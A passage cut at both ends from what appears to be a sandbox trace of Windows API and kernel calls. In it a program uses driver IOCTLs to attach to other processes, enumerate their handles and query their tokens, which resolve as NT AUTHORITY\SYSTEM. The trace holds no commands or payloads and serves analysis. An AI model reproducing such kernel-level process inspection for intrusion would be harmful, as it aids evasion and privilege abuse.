lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.705] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.705] PsAcquireProcessExitSynchronization () returned 0x0 [0092.705] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0) [0092.705] ObReferenceObjectByHandle (in: Handle=0x604, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00212faf0, HandleInformation=0x0) returned 0x0 [0092.705] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.705] PsReleaseProcessExitSynchronization () returned 0x2 [0092.705] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0092.705] ObQueryNameString (in: Object=0xfffff8a00212faf0, ObjectNameInfo=0xfffffa80038dd7c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80038dd7c4, ReturnLength=0xfffff88005233550) returned 0x0 [0092.705] ObfDereferenceObject (Object=0xfffff8a00212faf0) returned 0x1 [0092.706] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.706] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0092.706] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0092.706] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0092.706] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.706] PsAcquireProcessExitSynchronization () returned 0x0 [0092.706] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880052335d0) [0092.706] ObReferenceObjectByHandle (in: Handle=0x618, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a002399cd0, HandleInformation=0x0) returned 0x0 [0092.706] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.706] PsReleaseProcessExitSynchronization () returned 0x2 [0092.706] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0092.706] ObQueryNameString (in: Object=0xfffff8a002399cd0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005233550) returned 0x0 [0092.706] ObfDereferenceObject (Object=0xfffff8a002399cd0) returned 0x1 [0092.706] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.706] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0092.706] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x178) returned 0xc0 [0092.706] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0092.706] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa80018b8060, HandleInformation=0x0) returned 0x0 [0092.706] ObOpenObjectByPointer (in: Object=0xfffffa80018b8060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000a2c) returned 0x0 [0092.706] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x71 [0092.706] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a2c, DesiredAccess=0x8, TokenHandle=0xfffffa8003253440 | out: TokenHandle=0xfffffa8003253440*=0xc8) returned 0x0 [0092.706] ZwClose (Handle=0xffffffff80000a2c) returned 0x0 [0092.706] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.706] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0092.706] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0092.708] CloseHandle (hObject=0xc8) returned 1 [0092.708] CloseHandle (hObject=0xc0) returned 1 [0092.708] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0092.708] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0092.708] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.708] PsAcquireProcessExitSynchronization () returned 0x0 [0092.708] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880052335d0) [0092.708] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003006f20, HandleInformation=0x0) returned 0x0 [0092.708] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.708] PsReleaseProcessExitSynchronization () returned 0x2 [0092.708] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0092.708] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80026027c4, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa80026027c4, ReturnLength=0xfffff88005233508) returned 0x0 [0092.708] ObfDereferenceObject (Object=0xfffffa8003006f20) returned 0x1 [0092.708] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.708] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0092.708] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0092.708] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x46, lpOverlapped=0x0) returned 1 [0092.709] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.709] PsAcquireProcessExitSynchronization () returned 0x0 [0092.709] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880052335d0) [0092.709] ObReferenceObjectByHandle (in: Handle=0xc8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003047790, HandleInformation=0x0) returned 0x0 [0092.709] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.709] PsReleaseProcessExitSynchronization () returned 0x2 [0092.709] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0092.709] ObQueryNameString (in: Object=0xfffffa8003047790, ObjectNameInfo=0xfffffa8003920044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003920044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.709] ObfDereferenceObject (Object=0xfffffa8003047790) returned 0x1 [0092.709] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.709] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0092.709] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0092.709] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x46, lpOverlapped=0x0) returned 1 [0092.709] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.709] PsAcquireProcessExitSynchronization () returned 0x0 [0092.709] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880052335d0) [0092.709] ObReferenceObjectByHandle (in: Handle=0xcc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003049f20, HandleInformation=0x0) returned 0x0 [0092.709] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.709] PsReleaseProcessExitSynchronization () returned 0x2 [0092.709] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0092.709] ObQueryNameString (in: Object=0xfffffa8003049f20, ObjectNameInfo=0xfffffa8002011044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002011044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.709] ObfDereferenceObject (Object=0xfffffa8003049f20) returned 0x2 [0092.709] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.709] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0092.709] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0092.709] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x46, lpOverlapped=0x0) returned 1 [0092.709] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.709] PsAcquireProcessExitSynchronization () returned 0x0 [0092.709] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880052335d0) [0092.709] ObReferenceObjectByHandle (in: Handle=0xd0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003049dd0, HandleInformation=0x0) returned 0x0 [0092.709] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.710] PsReleaseProcessExitSynchronization () returned 0x2 [0092.710] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0092.710] ObQueryNameString (in: Object=0xfffffa8003049dd0, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.710] ObfDereferenceObject (Object=0xfffffa8003049dd0) returned 0x1 [0092.710] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.710] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0092.710] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0092.710] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0092.710] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.710] PsAcquireProcessExitSynchronization () returned 0x0 [0092.710] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880052335d0) [0092.710] ObReferenceObjectByHandle (in: Handle=0xf4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80030c2490, HandleInformation=0x0) returned 0x0 [0092.710] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.710] PsReleaseProcessExitSynchronization () returned 0x2 [0092.710] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0092.710] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005233508) returned 0x0 [0092.710] ObfDereferenceObject (Object=0xfffffa80030c2490) returned 0x1 [0092.710] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.710] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0092.710] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0092.710] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0092.710] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.710] PsAcquireProcessExitSynchronization () returned 0x0 [0092.710] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880052335d0) [0092.710] ObReferenceObjectByHandle (in: Handle=0x12c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80030f7dd0, HandleInformation=0x0) returned 0x0 [0092.710] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.710] PsReleaseProcessExitSynchronization () returned 0x2 [0092.710] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0092.710] ObQueryNameString (in: Object=0xfffffa80030f7dd0, ObjectNameInfo=0xfffffa8003970044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003970044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.710] ObfDereferenceObject (Object=0xfffffa80030f7dd0) returned 0x2 [0092.710] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.711] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0092.711] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0092.711] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0092.711] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.711] PsAcquireProcessExitSynchronization () returned 0x0 [0092.711] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880052335d0) [0092.711] ObReferenceObjectByHandle (in: Handle=0x130, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80030fb070, HandleInformation=0x0) returned 0x0 [0092.711] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.711] PsReleaseProcessExitSynchronization () returned 0x2 [0092.711] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0092.711] ObQueryNameString (in: Object=0xfffffa80030fb070, ObjectNameInfo=0xfffffa8001faa044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001faa044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.711] ObfDereferenceObject (Object=0xfffffa80030fb070) returned 0x2 [0092.711] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.711] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0092.711] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0092.711] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0092.711] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.711] PsAcquireProcessExitSynchronization () returned 0x0 [0092.711] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880052335d0) [0092.711] ObReferenceObjectByHandle (in: Handle=0x134, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80030fc6b0, HandleInformation=0x0) returned 0x0 [0092.711] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.711] PsReleaseProcessExitSynchronization () returned 0x2 [0092.711] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0092.711] ObQueryNameString (in: Object=0xfffffa80030fc6b0, ObjectNameInfo=0xfffffa8001f8a044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001f8a044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.711] ObfDereferenceObject (Object=0xfffffa80030fc6b0) returned 0x2 [0092.711] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.711] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0092.711] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0092.711] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0092.711] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.711] PsAcquireProcessExitSynchronization () returned 0x0 [0092.711] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880052335d0) [0092.712] ObReferenceObjectByHandle (in: Handle=0x14c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80030ff790, HandleInformation=0x0) returned 0x0 [0092.712] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.712] PsReleaseProcessExitSynchronization () returned 0x2 [0092.712] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0092.712] ObQueryNameString (in: Object=0xfffffa80030ff790, ObjectNameInfo=0xfffffa8003923044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003923044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.712] ObfDereferenceObject (Object=0xfffffa80030ff790) returned 0x2 [0092.712] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.712] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0092.712] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0092.712] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0092.712] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.712] PsAcquireProcessExitSynchronization () returned 0x0 [0092.712] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880052335d0) [0092.712] ObReferenceObjectByHandle (in: Handle=0x150, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003100070, HandleInformation=0x0) returned 0x0 [0092.712] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.712] PsReleaseProcessExitSynchronization () returned 0x2 [0092.712] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0092.712] ObQueryNameString (in: Object=0xfffffa8003100070, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005233550) returned 0x0 [0092.712] ObfDereferenceObject (Object=0xfffffa8003100070) returned 0x2 [0092.712] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.712] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0092.712] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x184) returned 0xc0 [0092.712] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0092.712] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa80018ba540, HandleInformation=0x0) returned 0x0 [0092.712] ObOpenObjectByPointer (in: Object=0xfffffa80018ba540, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000a2c) returned 0x0 [0092.712] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x155 [0092.712] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a2c, DesiredAccess=0x8, TokenHandle=0xfffffa8003253440 | out: TokenHandle=0xfffffa8003253440*=0xc8) returned 0x0 [0092.712] ZwClose (Handle=0xffffffff80000a2c) returned 0x0 [0092.712] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.712] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0092.713] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0092.714] CloseHandle (hObject=0xc8) returned 1 [0092.714] CloseHandle (hObject=0xc0) returned 1 [0092.714] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0092.714] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0092.714] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0092.714] PsAcquireProcessExitSynchronization () returned 0x0 [0092.714] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0092.714] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003011f20, HandleInformation=0x0) returned 0x0 [0092.714] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0092.714] PsReleaseProcessExitSynchronization () returned 0x2 [0092.714] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x153 [0092.714] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002012044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8002012044, ReturnLength=0xfffff88005233508) returned 0x0 [0092.714] ObfDereferenceObject (Object=0xfffffa8003011f20) returned 0x1 [0092.714] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0092.714] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0092.715] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0092.715] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, 